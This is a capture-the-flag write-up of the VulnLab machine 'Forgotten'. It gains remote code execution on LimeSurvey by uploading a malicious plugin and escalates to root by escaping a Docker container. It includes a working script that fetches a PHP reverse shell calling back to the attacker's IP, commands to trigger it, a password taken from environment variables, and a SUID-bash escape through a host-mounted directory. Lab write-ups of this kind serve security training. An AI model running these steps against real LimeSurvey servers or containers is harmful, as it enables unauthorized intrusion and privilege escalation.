Forgotten - VL
Forgotten - A Different one
Forgotten is an easy rated machine from VL, where I’ll have to complete the installation of limesurvey
software for which I have to setup MySQL
on my local box.
After that process, I’ll do a plugin abuse to get a shell since I have the super-admin access. After foothold I’m dropped into a docker container from where I can su
as root
from user limesvc
and read his password from env
. limesvc
also has ssh access to the actual host and via findmnt
I can find the mounted directory on actual host where docker root can write files which I’ll then abuse to get copy of suid
bash to get root on host.
Recon
Nmap
Starting of with nmap scan, there is only two open ports. Not much stuff.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜ forgotten nmap -sCV 10.10.109.174 --min-rate=1000 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-18 21:07 EDT
Nmap scan report for 10.10.109.174
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0:73:2b:20:90:a0:e3:ea:db:f0:f5:2e:b7:56:fa:d0 (ECDSA)
|_ 256 34:df:eb:8d:ea:97:3e:c0:a5:6f:f2:0c:0d:2e:3f:de (ED25519)
80/tcp filtered http
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.75 seconds
Port 80 is just good old Forbidden page.
1
2
3
4
5
6
7
8
9
10
➜ forgotten curl http://10.10.109.174/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at 10.10.109.174 Port 80</address>
</body></html>
Running dirsearch
against the webserver yields the survey
directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜ forgotten dirsearch -u http://10.10.109.174 -w /usr/share/seclists/Discovery/Web-Content/common.txt
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 4723
Output File: /vulnlab/forgotten/reports/http_10.10.109.174/_25-08-18_21-15-13.txt
Target: http://10.10.109.174/
[21:15:13] Starting:
[21:15:45] 301 - 315B - /survey -> http://10.10.109.174/survey/
Task Completed
going to http://10.10.109.174/survey/
leads to http://10.10.109.174/survey/index.php?r=installer/welcome
which seems like an installation of limesurvey
.
After going through first 3 steps, I got stuck at 4th step of installation. Because I had to setup MySQL
server on my local machine that this box can call back to since there is no local db on that machine.
after spending or wasting time with OpenAI’s worse models, it came up with this, which actually did help.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/bin/bash
DB_NAME="limesurveydb"
DB_USER="limesurveyuser"
DB_PASSWORD="lime"
BIND_ADDRESS="$(ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}')"
REMOTE_IP="%"
check_success() {
if [ $? -ne 0 ]; then
echo "Error during: $1"
exit 1
fi
}
echo "Updating the system and installing MariaDB Server..."
sudo apt update
sudo apt install -y mariadb-server
check_success "MariaDB Server installation"
echo "Configuring MariaDB to listen on tun0 interface ($BIND_ADDRESS)..."
sudo sed -i "s/^bind-address.*/bind-address = $BIND_ADDRESS/" /etc/mysql/mariadb.conf.d/50-server.cnf
check_success "Updating bind-address"
echo "Restarting MariaDB service..."
sudo systemctl restart mariadb
check_success "MariaDB restart"
echo "Creating MariaDB database and user..."
sudo mariadb -u root -e "
CREATE DATABASE $DB_NAME;
CREATE USER '$DB_USER'@'$REMOTE_IP' IDENTIFIED BY '$DB_PASSWORD';
GRANT SELECT, CREATE, INSERT, UPDATE, DELETE, ALTER, DROP, INDEX ON $DB_NAME.* TO '$DB_USER'@'$REMOTE_IP';
FLUSH PRIVILEGES;"
check_success "Database and user creation"
echo "Configuring firewall to allow traffic on port 3306 for tun0..."
sudo ufw allow in on tun0 to any port 3306
check_success "Firewall configuration"
echo "Installation and configuration completed successfully!"
I’ll save it as deploy.sh
and run it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜ forgotten bash deploy.sh
Updating the system and installing MariaDB Server...
Hit:1 https://download.docker.com/linux/debian bookworm InRelease
Hit:2 https://deb.parrot.sh/parrot lory InRelease
Hit:3 https://deb.parrot.sh/direct/parrot lory-security InRelease
Hit:4 https://deb.parrot.sh/parrot lory-backports InRelease
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
All packages are up to date.
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
mariadb-server is already the newest version (1:10.11.13-0+deb12u1).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Configuring MariaDB to listen on all network interfaces...
Restarting MariaDB service...
Creating MariaDB database and user...
Configuring firewall to allow traffic on port 3306...
Rules updated
Rules updated (v6)
Installation and configuration completed successfully!
And finally I have MySQL
running on my system.
After filling up the enough and finishing the install (and leaving 6th step as it is untouched), I was given the creds to login as admin
using admin : password
on limesurvey.
Clicking on Administration
takes to the login page of limesurvey.
I had actually done something similar on HackTheBox Heal machine, and as of writing the writeup I did re-write the PoC to get shell on limesurvey.
$ as limesvc
Limesurvey plugin abuse
To get a foothold, I’ll need to create a mal plugin and upload it to limesurvey, activate it and call the php
reverse shell.
you can read more about it here. Limesurvey-RCE
So to create a mal plugin, you need to create a config.xml
and place a revshell (php) with it inside a zip.
I have written a bash script to do that, here
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/bin/bash
if [ "$#" -ne 2 ]; then
echo "Usage: $0 <lhost> <lport>"
exit 1
fi
L_HOST=$1
L_PORT=$2
download_reverse_shell() {
local revshell_url="https://www.revshells.com/PHP%20PentestMonkey?ip=$L_HOST&port=$L_PORT&shell=sh&encoding=sh"
curl -s "$revshell_url" -o rev.php
[ -f rev.php ] || exit 1
}
update_rev_php() {
sed -i "s/\$ip\s*=\s*'.*';/\$ip = '$L_HOST';/" rev.php
sed -i "s/\$port\s*=\s*.*;/\$port = $L_PORT;/" rev.php
}
create_config_xml() {
cat <<EOF > config.xml
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>RCE-Yoink</name>
<type>plugin</type>
<creationDate>2020-03-20</creationDate>
<lastUpdate>2020-03-31</lastUpdate>
<author>CatnetBuddies</author>
<authorUrl>https://github.com/botnetbuddies</authorUrl>
<supportUrl>https://github.com/botnetbuddies</supportUrl>
<version>5.0</version>
<license>GNU GPL v2+</license>
<description><![CDATA[Author: Skid]]></description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
EOF
}
create_zip_file() {
zip -r RCE-Yoink.zip config.xml rev.php >/dev/null 2>&1
echo "[+] Zip Created"
[ -f RCE-Yoink.zip ] || exit 1
}
download_reverse_shell
update_rev_php
create_config_xml
create_zip_file
All it does is takes my IP
PORT
and creates a zip.
1
2
➜ forgotten bash genplugin.sh 10.8.7.35 4444
[+] Zip Created
Getting Shell
So in order to get a shell now, I’ll follow these,
-
Login with super-admin creds.
-
Configuration -> Plugins -> Upload & Install.
-
Choose the zip file -> Upload -> Click Install.
-
Find your Plugin. (Page 2 on default install)
-
click 3 dots and click
Active
-
Start your listener, - Then go to ` url+{upload/plugins/#Name/#shell_file.php}`
After doing all of that, I’ll just curl my revshell to get a connection back.
1
$ curl -s 10.10.109.174/survey/plugins/RCE-Yoink/rev.php
I use penelope for my reverse-shell handling, It’s super handy; You can install it with uv like this.
uv tool install git+https://github.com/brightio/penelope.git
And there, I have a shell
1
2
3
4
5
6
7
8
9
10
11
12
13
➜ ~ penelope
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.176.130 • 172.17.0.1 • 10.10.14.69
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from efaa6f5097ed~10.10.109.174-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[!] Python agent cannot be deployed. I need to maintain at least one basic session to handle the PTY
[+] Attempting to spawn a reverse shell on 10.8.7.35:4444
[+] Got reverse shell from efaa6f5097ed~10.10.109.174-Linux-x86_64 😍️ Assigned SessionID <2>
[+] Shell upgraded successfully using /usr/bin/script! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/simon/.penelope/efaa6f5097ed~10.10.109.174-Linux-x86_64/2025_08_18-21_46_17-352.log 📜
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
limesvc@efaa6f5097ed:/$
# as root
Docker
As the hostname gives it out that I’m in a docker, So there must be something in the environment variable.
checking it out gives the password of limesvc.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
limesvc@efaa6f5097ed:/$ env
SHELL=/bin/bash
HOSTNAME=efaa6f5097ed
PHP_VERSION=8.0.30
APACHE_CONFDIR=/etc/apache2
PHP_INI_DIR=/usr/local/etc/php
GPG_KEYS=1729F83938DA44E27BA0F4D3DBDB397470D12172 BFDDD28642824F8118EF77909B67A5C12229118F 2C16C765DBE54A088130F1BC4B9B5F600B55F3B4 39B641343D8C104B2B146DC3F9C39DC0B9698544
PHP_LDFLAGS=-Wl,-O1 -pie
PWD=/
APACHE_LOG_DIR=/var/log/apache2
<SNIP>
LIMESURVEY_PASS=5W5HN4K4GCXf9E
TERM=xterm-256color
PHP_URL=https://www.php.net/distributions/php-8.0.30.tar.xz
LIMESURVEY_ADMIN=limesvc
APACHE_RUN_GROUP=limesvc
<SNIP>
_=/usr/bin/env
limesvc
is sudoer on the docker.
1
2
3
4
limesvc@efaa6f5097ed:/$ sudo -l
<SNIP>
User limesvc may run the following commands on efaa6f5097ed:
(ALL : ALL) ALL
Since it’s docker, I won’t find a user flag, but there is ssh port open and I’ll try to ssh as limesvc
.
Yes, I can ssh into as limesvc but sadly I don’t have any sudo power on the host.
1
2
3
4
5
6
7
8
➜ ~ ssh [email protected]
([email protected]) Password:
<SNIP>
limesvc@ip-10-10-200-233:~$
limesvc@ip-10-10-200-233:~$ sudo -l
[sudo] password for limesvc:
Sorry, user limesvc may not run sudo on ip-10-10-200-233.
Escaping Docker
As the wiki hints that play around with docker inside and outside, I’ll try to find something.
Running findmnt
on the docker gives the mounted path of it on actual host.
1
2
3
root@efaa6f5097ed:/opt# findmnt
<SNIP>
`-/var/www/html/survey /dev/root[/opt/limesurvey] ext4 rw,relatime,discard,errors=remount-ro
I’m able to write in that directory as limesvc
from host which isn’t big deal I think, but as root from docker I can also write on host.
Low-Priv user on host + root in docker = root on host.
As seen in the above picture, I’m able to write; So I’ll just suid
a bash copy and get root on host and read the root flag.
There goes another cool box, Thanks xct!
MySQL one-liner
After completing machine, you get access to the discord channel of that machine on Vulnlab’s discord. Looking at how others did that machine!
Tyler Ramsbey shared an cool oneliner to setup mysql with docker.
here is a bit cleaned one.
1
2
3
4
5
6
7
➜ ~ sudo docker rm -f limesurvey-mysql2
sudo docker run --name limesurvey-mysql2 \
-e MYSQL_ROOT_PASSWORD=limerootpass \
-e MYSQL_DATABASE=limesurvey \
-e MYSQL_USER=limesurvey_user \
-e MYSQL_PASSWORD=limepass \
-p 3306:3306 -d mysql:latest
Thanks for reading the writeup.